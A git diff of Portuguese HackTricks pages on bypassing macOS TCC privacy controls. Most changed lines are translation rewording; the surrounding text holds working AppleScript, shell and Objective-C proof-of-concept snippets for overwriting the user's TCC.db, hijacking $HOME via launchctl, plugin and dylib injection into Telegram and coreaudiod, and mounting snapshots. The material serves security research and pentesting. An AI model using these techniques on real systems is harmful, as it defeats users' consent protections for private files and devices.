codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -336,9 +336,9 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
|||
```
|
||||
</details>
|
||||
|
||||
### Cargas Úteis TCC
|
||||
### Cargas úteis do TCC
|
||||
|
||||
Se você conseguiu acessar um aplicativo com algumas permissões TCC, verifique a seguinte página com cargas úteis TCC para abusar delas:
|
||||
Se você conseguiu acessar um aplicativo com algumas permissões do TCC, verifique a seguinte página com cargas úteis do TCC para abusá-las:
|
||||
|
||||
{% content-ref url="macos-tcc-payloads.md" %}
|
||||
[macos-tcc-payloads.md](macos-tcc-payloads.md)
|
||||
|
@ -346,8 +346,8 @@ Se você conseguiu acessar um aplicativo com algumas permissões TCC, verifique
|
|||
|
||||
### Automação (Finder) para FDA\*
|
||||
|
||||
O nome TCC da permissão de Automação é: **`kTCCServiceAppleEvents`**\
|
||||
Esta permissão TCC específica também indica o **aplicativo que pode ser gerenciado** dentro do banco de dados TCC (então as permissões não permitem apenas gerenciar tudo).
|
||||
O nome do TCC da permissão de Automação é: **`kTCCServiceAppleEvents`**\
|
||||
Essa permissão específica do TCC também indica o **aplicativo que pode ser gerenciado** dentro do banco de dados do TCC (então as permissões não permitem apenas gerenciar tudo).
|
||||
|
||||
O **Finder** é um aplicativo que **sempre tem FDA** (mesmo que não apareça na interface do usuário), então se você tiver privilégios de **Automação** sobre ele, você pode abusar de seus privilégios para **fazê-lo executar algumas ações**.\
|
||||
Neste caso, seu aplicativo precisaria da permissão **`kTCCServiceAppleEvents`** sobre **`com.apple.Finder`**.
|
||||
|
@ -383,17 +383,17 @@ EOD
|
|||
Você poderia abusar disso para **escrever seu próprio banco de dados de TCC de usuário**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Com essa permissão, você poderá **solicitar ao Finder acesso a pastas restritas pelo TCC** e obter os arquivos, mas até onde sei, você **não poderá fazer com que o Finder execute código arbitrário** para abusar totalmente do acesso ao FDA dele.
|
||||
Com essa permissão, você poderá **solicitar ao Finder acesso a pastas restritas pelo TCC** e fornecer os arquivos, mas até onde sei, você **não poderá fazer com que o Finder execute código arbitrário** para abusar totalmente do acesso ao FDA dele.
|
||||
|
||||
Portanto, você não poderá abusar das habilidades completas do FDA.
|
||||
{% endhint %}
|
||||
|
||||
Este é o prompt do TCC para obter privilégios de Automação sobre o Finder:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
Observe que, como o aplicativo **Automator** possui a permissão TCC **`kTCCServiceAppleEvents`**, ele pode **controlar qualquer aplicativo**, como o Finder. Portanto, tendo a permissão para controlar o Automator, você também poderia controlar o **Finder** com um código como o abaixo:
|
||||
Observe que, como o aplicativo **Automator** tem a permissão TCC **`kTCCServiceAppleEvents`**, ele pode **controlar qualquer aplicativo**, como o Finder. Portanto, tendo a permissão para controlar o Automator, você também poderia controlar o **Finder** com um código como o abaixo:
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
@ -468,9 +468,9 @@ rm "$HOME/Desktop/file"
|
|||
```
|
||||
### Automação (SE) + Acessibilidade (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** para FDA\*
|
||||
|
||||
A automação no **`System Events`** + Acessibilidade (**`kTCCServicePostEvent`**) permite enviar **teclas de atalho para processos**. Dessa forma, você poderia abusar do Finder para alterar o TCC.db dos usuários ou conceder FDA a um aplicativo arbitrário (embora a senha possa ser solicitada para isso).
|
||||
A automação no **`System Events`** + Acessibilidade (**`kTCCServicePostEvent`**) permite enviar **teclas para processos**. Dessa forma, você poderia abusar do Finder para alterar o TCC.db dos usuários ou conceder FDA a um aplicativo arbitrário (embora a senha possa ser solicitada para isso).
|
||||
|
||||
Exemplo de sobrescrita do TCC.db do usuário pelo Finder:
|
||||
Exemplo de sobrescrita do TCC.db dos usuários pelo Finder:
|
||||
```applescript
|
||||
-- store the TCC.db file to copy in /tmp
|
||||
osascript <<EOF
|
||||
|
@ -534,11 +534,11 @@ Obtendo **permissões de escrita** sobre o **banco de dados TCC** do usuário, v
|
|||
|
||||
Mas você pode se **conceder direitos de Automação para o Finder**, e abusar da técnica anterior para escalar para FDA\*.
|
||||
|
||||
### **FDA para permissões TCC**
|
||||
### **Permissões de FDA para TCC**
|
||||
|
||||
O acesso **Completo ao Disco** no TCC é chamado de **`kTCCServiceSystemPolicyAllFiles`**
|
||||
O nome do TCC para **Acesso Total ao Disco** é **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
Não acho que isso seja um real escalonamento de privilégios, mas caso você ache útil: Se você controla um programa com FDA, você pode **modificar o banco de dados TCC dos usuários e se conceder qualquer acesso**. Isso pode ser útil como técnica de persistência caso você perca suas permissões de FDA.
|
||||
Não acho que isso seja um real escalonamento de privilégios, mas caso você ache útil: Se você controla um programa com FDA, você pode **modificar o banco de dados TCC dos usuários e se conceder qualquer acesso**. Isso pode ser útil como uma técnica de persistência caso você perca suas permissões de FDA.
|
||||
|
||||
### **Burlar SIP para Burlar TCC**
|
||||
|
||||
|
@ -578,7 +578,7 @@ AllowApplicationsList.plist:
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
### Contornos do TCC
|
||||
### Bypasses do TCC
|
||||
|
||||
{% content-ref url="macos-tcc-bypasses/" %}
|
||||
[macos-tcc-bypasses](macos-tcc-bypasses/)
|
||||
|
@ -597,10 +597,10 @@ AllowApplicationsList.plist:
|
|||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,14 +2,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
@ -28,11 +28,30 @@ ls: Desktop: Operation not permitted
|
|||
username@hostname ~ % cat Desktop/lalala
|
||||
asd
|
||||
```
|
||||
O **atributo estendido `com.apple.macl`** é adicionado ao novo **arquivo** para dar acesso ao aplicativo **criador** para lê-lo.
|
||||
O **atributo estendido `com.apple.macl`** é adicionado ao novo **arquivo** para dar acesso ao **aplicativo criador** para lê-lo.
|
||||
|
||||
### TCC ClickJacking
|
||||
|
||||
É possível **colocar uma janela sobre o prompt do TCC** para fazer o usuário **aceitá-lo** sem perceber. Você pode encontrar um PoC em [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
|
||||
|
||||
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
||||
|
||||
### Solicitação TCC por nome arbitrário
|
||||
|
||||
O atacante pode **criar aplicativos com qualquer nome** (por exemplo, Finder, Google Chrome...) no **`Info.plist`** e fazer com que solicite acesso a alguma localização protegida pelo TCC. O usuário pensará que o aplicativo legítimo é o que está solicitando esse acesso.\
|
||||
Além disso, é possível **remover o aplicativo legítimo do Dock e colocar o falso nele**, então quando o usuário clicar no falso (que pode usar o mesmo ícone), ele poderá chamar o legítimo, solicitar permissões do TCC e executar um malware, fazendo o usuário acreditar que o aplicativo legítimo solicitou o acesso.
|
||||
|
||||
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Mais informações e PoC em:
|
||||
|
||||
{% content-ref url="../../../macos-privilege-escalation.md" %}
|
||||
[macos-privilege-escalation.md](../../../macos-privilege-escalation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Bypass SSH
|
||||
|
||||
Por padrão, um acesso via **SSH costumava ter "Acesso Total ao Disco"**. Para desativar isso, você precisa tê-lo listado, mas desativado (removê-lo da lista não removerá esses privilégios):
|
||||
Por padrão, um acesso via **SSH costumava ter "Acesso Total ao Disco"**. Para desativar isso, é necessário tê-lo listado, mas desativado (removê-lo da lista não removerá esses privilégios):
|
||||
|
||||
![](<../../../../../.gitbook/assets/image (569).png>)
|
||||
|
||||
|
@ -46,13 +65,13 @@ Observe que agora, para poder habilitar o SSH, você precisa de **Acesso Total a
|
|||
|
||||
### Manipular extensões - CVE-2022-26767
|
||||
|
||||
O atributo **`com.apple.macl`** é dado a arquivos para dar permissões a um **aplicativo específico para lê-lo**. Esse atributo é definido quando um usuário **arrasta e solta** um arquivo sobre um aplicativo, ou quando um usuário **clica duas vezes** em um arquivo para abri-lo com o **aplicativo padrão**.
|
||||
O atributo **`com.apple.macl`** é dado a arquivos para dar a um **determinado aplicativo permissões para lê-lo**. Esse atributo é definido quando **arrasta e solta** um arquivo sobre um aplicativo, ou quando um usuário **clica duas vezes** em um arquivo para abri-lo com o **aplicativo padrão**.
|
||||
|
||||
Portanto, um usuário poderia **registrar um aplicativo malicioso** para lidar com todas as extensões e chamar os Serviços de Lançamento para **abrir** qualquer arquivo (assim, o arquivo malicioso terá acesso para lê-lo).
|
||||
Portanto, um usuário poderia **registrar um aplicativo malicioso** para lidar com todas as extensões e chamar os Serviços de Lançamento para **abrir** qualquer arquivo (então o arquivo malicioso terá permissão para lê-lo).
|
||||
|
||||
### iCloud
|
||||
|
||||
Com a permissão **`com.apple.private.icloud-account-access`** é possível se comunicar com o serviço XPC **`com.apple.iCloudHelper`** que irá **fornecer tokens do iCloud**.
|
||||
A permissão **`com.apple.private.icloud-account-access`** permite comunicar com o serviço XPC **`com.apple.iCloudHelper`** que **fornecerá tokens do iCloud**.
|
||||
|
||||
**iMovie** e **Garageband** tinham essa permissão e outros que permitiam.
|
||||
|
||||
|
@ -60,7 +79,7 @@ Para mais **informações** sobre a exploração para **obter tokens do iCloud**
|
|||
|
||||
### kTCCServiceAppleEvents / Automação
|
||||
|
||||
Um aplicativo com a permissão **`kTCCServiceAppleEvents`** poderá **controlar outros aplicativos**. Isso significa que ele poderia **abusar das permissões concedidas aos outros aplicativos**.
|
||||
Um aplicativo com a permissão **`kTCCServiceAppleEvents`** poderá **controlar outros aplicativos**. Isso significa que ele poderá **abusar das permissões concedidas aos outros aplicativos**.
|
||||
|
||||
Para mais informações sobre Scripts da Apple, confira:
|
||||
|
||||
|
@ -68,13 +87,13 @@ Para mais informações sobre Scripts da Apple, confira:
|
|||
[macos-apple-scripts.md](macos-apple-scripts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Por exemplo, se um aplicativo tem **permissão de Automação sobre o `iTerm`**, por exemplo, neste exemplo o **`Terminal`** tem acesso sobre o iTerm:
|
||||
Por exemplo, se um aplicativo tem **permissão de Automação sobre `iTerm`**, por exemplo, neste exemplo **`Terminal`** tem acesso sobre iTerm:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Sobre o iTerm
|
||||
|
||||
O Terminal, que não tem Acesso Total ao Disco, pode chamar o iTerm, que tem, e usá-lo para realizar ações:
|
||||
Terminal, que não tem Acesso Total ao Disco, pode chamar iTerm, que tem, e usá-lo para realizar ações:
|
||||
|
||||
{% code title="iterm.script" %}
|
||||
```applescript
|
||||
|
@ -111,7 +130,7 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
|||
O **daemon tccd** do espaço do usuário está usando a variável de ambiente **`HOME`** para acessar o banco de dados de usuários do TCC em: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
De acordo com [esta postagem no Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) e porque o daemon TCC está sendo executado via `launchd` dentro do domínio do usuário atual, é possível **controlar todas as variáveis de ambiente** passadas para ele.\
|
||||
Assim, um **atacante poderia definir a variável de ambiente `$HOME`** em **`launchctl`** para apontar para um **diretório controlado**, **reiniciar** o **daemon TCC**, e então **modificar diretamente o banco de dados do TCC** para conceder a si mesmo **todas as permissões do TCC disponíveis** sem nunca solicitar a permissão do usuário final.\
|
||||
Assim, um **atacante poderia definir a variável de ambiente `$HOME`** em **`launchctl`** para apontar para um **diretório controlado**, **reiniciar** o **daemon TCC**, e então **modificar diretamente o banco de dados do TCC** para se conceder **todos os privilégios do TCC disponíveis** sem nunca solicitar a permissão do usuário final.\
|
||||
PoC:
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
|
@ -149,7 +168,7 @@ As notas tinham acesso a locais protegidos pelo TCC, mas quando uma nota é cria
|
|||
|
||||
O binário `/usr/libexec/lsd` com a biblioteca `libsecurity_translocate` tinha a permissão `com.apple.private.nullfs_allow`, que permitia criar um **ponto de montagem nullfs** e tinha a permissão `com.apple.private.tcc.allow` com **`kTCCServiceSystemPolicyAllFiles`** para acessar todos os arquivos.
|
||||
|
||||
Era possível adicionar o atributo de quarentena à "Library", chamar o serviço XPC **`com.apple.security.translocation`** e então mapear a Library para **`$TMPDIR/AppTranslocation/d/d/Library`**, onde todos os documentos dentro da Library poderiam ser **acessados**.
|
||||
Era possível adicionar o atributo de quarentena para "Library", chamar o serviço XPC **`com.apple.security.translocation`** e então mapear Library para **`$TMPDIR/AppTranslocation/d/d/Library`**, onde todos os documentos dentro de Library poderiam ser **acessados**.
|
||||
|
||||
### CVE-2023-38571 - Música e TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
|
@ -158,11 +177,11 @@ Era possível adicionar o atributo de quarentena à "Library", chamar o serviço
|
|||
* `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
* `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
|
||||
|
||||
Esse comportamento de **`rename(a, b);`** é vulnerável a uma **Condição de Corrida**, pois era possível colocar dentro da pasta `Automatically Add to Music.localized` um arquivo falso **TCC.db** e então, quando a nova pasta (b) fosse criada para copiar o arquivo, excluí-lo e apontá-lo para **`~/Library/Application Support/com.apple.TCC`**/.
|
||||
Esse comportamento de **`rename(a, b);`** é vulnerável a uma **Condição de Corrida**, pois é possível colocar dentro da pasta `Automatically Add to Music.localized` um arquivo falso **TCC.db** e então, quando a nova pasta (b) é criada para copiar o arquivo, excluí-lo e apontá-lo para **`~/Library/Application Support/com.apple.TCC`**/.
|
||||
|
||||
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
|
||||
|
||||
Se **`SQLITE_SQLLOG_DIR="caminho/pasta"`**, basicamente significa que **qualquer banco de dados aberto é copiado para esse caminho**. Neste CVE, esse controle foi abusado para **escrever** dentro de um **banco de dados SQLite** que será **aberto por um processo com FDA no banco de dados TCC**, e então abusar de **`SQLITE_SQLLOG_DIR`** com um **link simbólico no nome do arquivo** para que, quando esse banco de dados for **aberto**, o arquivo **TCC.db do usuário seja sobrescrito** com o aberto.\
|
||||
Se **`SQLITE_SQLLOG_DIR="caminho/pasta"`**, basicamente significa que **qualquer banco de dados aberto é copiado para esse caminho**. Neste CVE, esse controle foi abusado para **escrever** dentro de um **banco de dados SQLite** que será **aberto por um processo com FDA no banco de dados TCC**, e então abusar de **`SQLITE_SQLLOG_DIR`** com um **link simbólico no nome do arquivo** para que, quando esse banco de dados for **aberto**, o arquivo do usuário **TCC.db seja sobrescrito** com o aberto.\
|
||||
**Mais informações** [**no artigo**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **e** [**na palestra**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
|
||||
|
||||
### **SQLITE\_AUTO\_TRACE**
|
||||
|
@ -178,20 +197,20 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
|||
|
||||
Esta **variável de ambiente é usada pelo framework `Metal`** que é uma dependência de vários programas, principalmente o `Music`, que possui FDA.
|
||||
|
||||
Definindo o seguinte: `MTL_DUMP_PIPELINES_TO_JSON_FILE="caminho/nome"`. Se `caminho` for um diretório válido, o bug será acionado e podemos usar `fs_usage` para ver o que está acontecendo no programa:
|
||||
Ao definir o seguinte: `MTL_DUMP_PIPELINES_TO_JSON_FILE="caminho/nome"`. Se `caminho` for um diretório válido, o bug será acionado e podemos usar `fs_usage` para ver o que está acontecendo no programa:
|
||||
|
||||
* um arquivo será `open()`ed, chamado `caminho/.dat.nosyncXXXX.XXXXXX` (X é aleatório)
|
||||
* um ou mais `write()`s escreverão o conteúdo no arquivo (não controlamos isso)
|
||||
* `caminho/.dat.nosyncXXXX.XXXXXX` será `renamed()` para `caminho/nome`
|
||||
|
||||
É uma escrita de arquivo temporário, seguida por um **`rename(antigo, novo)`** **que não é seguro.**
|
||||
É uma gravação de arquivo temporário, seguida por um **`rename(antigo, novo)`** **que não é seguro.**
|
||||
|
||||
Não é seguro porque ele precisa **resolver os caminhos antigo e novo separadamente**, o que pode levar algum tempo e ser vulnerável a uma Condição de Corrida. Para mais informações, você pode verificar a função `xnu` `renameat_internal()`.
|
||||
Não é seguro porque ele precisa **resolver os caminhos antigos e novos separadamente**, o que pode levar algum tempo e ser vulnerável a uma Condição de Corrida. Para mais informações, você pode verificar a função `xnu` `renameat_internal()`.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Portanto, basicamente, se um processo privilegiado estiver renomeando de uma pasta que você controla, você poderia obter um RCE e fazer com que ele acesse um arquivo diferente ou, como neste CVE, abrir o arquivo criado pelo aplicativo privilegiado e armazenar um FD.
|
||||
|
||||
Se o rename acessar uma pasta que você controla, enquanto você modificou o arquivo de origem ou possui um FD para ele, você altera o arquivo (ou pasta) de destino para apontar para um symlink, para que você possa escrever sempre que quiser.
|
||||
Se o rename acessar uma pasta que você controla, enquanto você modificou o arquivo de origem ou possui um FD para ele, você altera o arquivo (ou pasta) de destino para apontar para um link simbólico, para que você possa escrever sempre que quiser.
|
||||
{% endhint %}
|
||||
|
||||
Este foi o ataque no CVE: Por exemplo, para sobrescrever o `TCC.db` do usuário, podemos:
|
||||
|
@ -243,7 +262,7 @@ O **primeiro POC** usa [**dsexport**](https://www.unix.com/man-page/osx/1/dsexpo
|
|||
6. Pare o _tccd_ do usuário e reinicie o processo.
|
||||
|
||||
O segundo POC usou **`/usr/libexec/configd`** que tinha `com.apple.private.tcc.allow` com o valor `kTCCServiceSystemPolicySysAdminFiles`.\
|
||||
Era possível executar **`configd`** com a opção **`-t`**, um atacante poderia especificar um **Bundle personalizado para carregar**. Portanto, o exploit **substituiu** o método **`dsexport`** e **`dsimport`** de alterar o diretório home do usuário por uma **injeção de código do `configd`**.
|
||||
Era possível executar **`configd`** com a opção **`-t`**, um atacante poderia especificar um **Bundle personalizado para carregar**. Portanto, o exploit **substituiu** o método **`dsexport`** e **`dsimport`** de alterar o diretório home do usuário por uma **injeção de código `configd`**.
|
||||
|
||||
Para mais informações, consulte o [**relatório original**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/).
|
||||
|
||||
|
@ -265,10 +284,9 @@ O aplicativo `/System/Library/CoreServices/Applications/Directory Utility.app` t
|
|||
Para armar este CVE, o **`NFSHomeDirectory`** é **alterado** (abusando do entitlement anterior) para poder **assumir o banco de dados TCC dos usuários** para contornar o TCC.
|
||||
|
||||
Para mais informações, consulte o [**relatório original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
|
||||
### CVE-2020-29621 - Coreaudiod
|
||||
|
||||
O binário **`/usr/sbin/coreaudiod`** tinha os entitlements `com.apple.security.cs.disable-library-validation` e `com.apple.private.tcc.manager`. O primeiro **permitindo injeção de código** e o segundo dando acesso para **gerenciar o TCC**.
|
||||
O binário **`/usr/sbin/coreaudiod`** tinha as permissões `com.apple.security.cs.disable-library-validation` e `com.apple.private.tcc.manager`. A primeira **permitindo injeção de código** e a segunda dando acesso para **gerenciar TCC**.
|
||||
|
||||
Este binário permitia carregar **plug-ins de terceiros** da pasta `/Library/Audio/Plug-Ins/HAL`. Portanto, era possível **carregar um plugin e abusar das permissões do TCC** com este PoC:
|
||||
```objectivec
|
||||
|
@ -303,13 +321,13 @@ Para mais informações, consulte o [**relatório original**](https://wojciechre
|
|||
|
||||
Aplicativos do sistema que abrem o fluxo da câmera via Core Media I/O (aplicativos com **`kTCCServiceCamera`**) carregam **nesses plugins** localizados em `/Library/CoreMediaIO/Plug-Ins/DAL` (não restritos pelo SIP).
|
||||
|
||||
Apenas armazenar lá uma biblioteca com o **construtor** comum funcionará para **injetar código**.
|
||||
Apenas armazenar lá uma biblioteca comum com o **construtor** funcionará para **injetar código**.
|
||||
|
||||
Vários aplicativos da Apple eram vulneráveis a isso.
|
||||
|
||||
### Firefox
|
||||
|
||||
O aplicativo Firefox possuía as permissões `com.apple.security.cs.disable-library-validation` e `com.apple.security.cs.allow-dyld-environment-variables`:
|
||||
O aplicativo Firefox tinha as permissões `com.apple.security.cs.disable-library-validation` e `com.apple.security.cs.allow-dyld-environment-variables`:
|
||||
```xml
|
||||
codesign -d --entitlements :- /Applications/Firefox.app
|
||||
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
||||
|
@ -335,7 +353,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Para obter mais informações sobre como explorar facilmente isso, [**verifique o relatório original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
|
||||
Para mais informações sobre como explorar facilmente isso, [**verifique o relatório original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
|
||||
|
||||
### CVE-2020-10006
|
||||
|
||||
|
@ -343,9 +361,9 @@ O binário `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` tinha as p
|
|||
|
||||
### CVE-2023-26818 - Telegram
|
||||
|
||||
O Telegram tinha as permissões **`com.apple.security.cs.allow-dyld-environment-variables`** e **`com.apple.security.cs.disable-library-validation`**, então era possível abusar disso para **obter acesso às suas permissões**, como gravar com a câmera. Você pode [**encontrar o payload na descrição**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
O Telegram tinha as permissões **`com.apple.security.cs.allow-dyld-environment-variables`** e **`com.apple.security.cs.disable-library-validation`**, então era possível abusar disso para **obter acesso às suas permissões** como gravar com a câmera. Você pode [**encontrar o payload no artigo**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
|
||||
Observe como usar a variável de ambiente para carregar uma biblioteca, um **plist personalizado** foi criado para injetar essa biblioteca e o **`launchctl`** foi usado para iniciá-lo:
|
||||
Observe como usar a variável de ambiente para carregar uma biblioteca, um **plist personalizado** foi criado para injetar essa biblioteca e o **`launchctl`** foi usado para lançá-lo:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -377,7 +395,7 @@ launchctl load com.telegram.launcher.plist
|
|||
```
|
||||
## Por invocações abertas
|
||||
|
||||
É possível invocar **`open`** mesmo estando dentro de um ambiente de segurança
|
||||
É possível invocar o **`open`** mesmo estando dentro de um ambiente de sandbox
|
||||
|
||||
### Scripts do Terminal
|
||||
|
||||
|
@ -414,10 +432,10 @@ exploit_location]; task.standardOutput = pipe;
|
|||
```
|
||||
## Por montagem
|
||||
|
||||
### CVE-2020-9771 - mount\_apfs Bypass de TCC e escalonamento de privilégios
|
||||
### CVE-2020-9771 - bypass de TCC do mount\_apfs e escalonamento de privilégios
|
||||
|
||||
**Qualquer usuário** (mesmo não privilegiado) pode criar e montar um snapshot do time machine e **acessar TODOS os arquivos** desse snapshot.\
|
||||
O **único privilégio** necessário é para o aplicativo usado (como `Terminal`) ter acesso de **Acesso Total ao Disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que precisa ser concedido por um administrador.
|
||||
O **único privilégio** necessário é para o aplicativo usado (como `Terminal`) ter **Acesso Total ao Disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que precisa ser concedido por um administrador.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -497,11 +515,25 @@ Isso não funciona mais, mas [**funcionou no passado**](https://twitter.com/noar
|
|||
|
||||
Outra maneira usando [**eventos CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Referência
|
||||
|
||||
* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
|
||||
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
||||
* [**20+ Maneiras de Contornar os Mecanismos de Privacidade do seu macOS**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
|
||||
* [**Vitória Esmagadora Contra o TCC - 20+ Novas Maneiras de Contornar os Mecanismos de Privacidade do seu MacOS**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
|
||||
* [**Vitória Esmagadora Contra o TCC - 20+ NOVAS Maneiras de Contornar os Mecanismos de Privacidade do seu MacOS**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
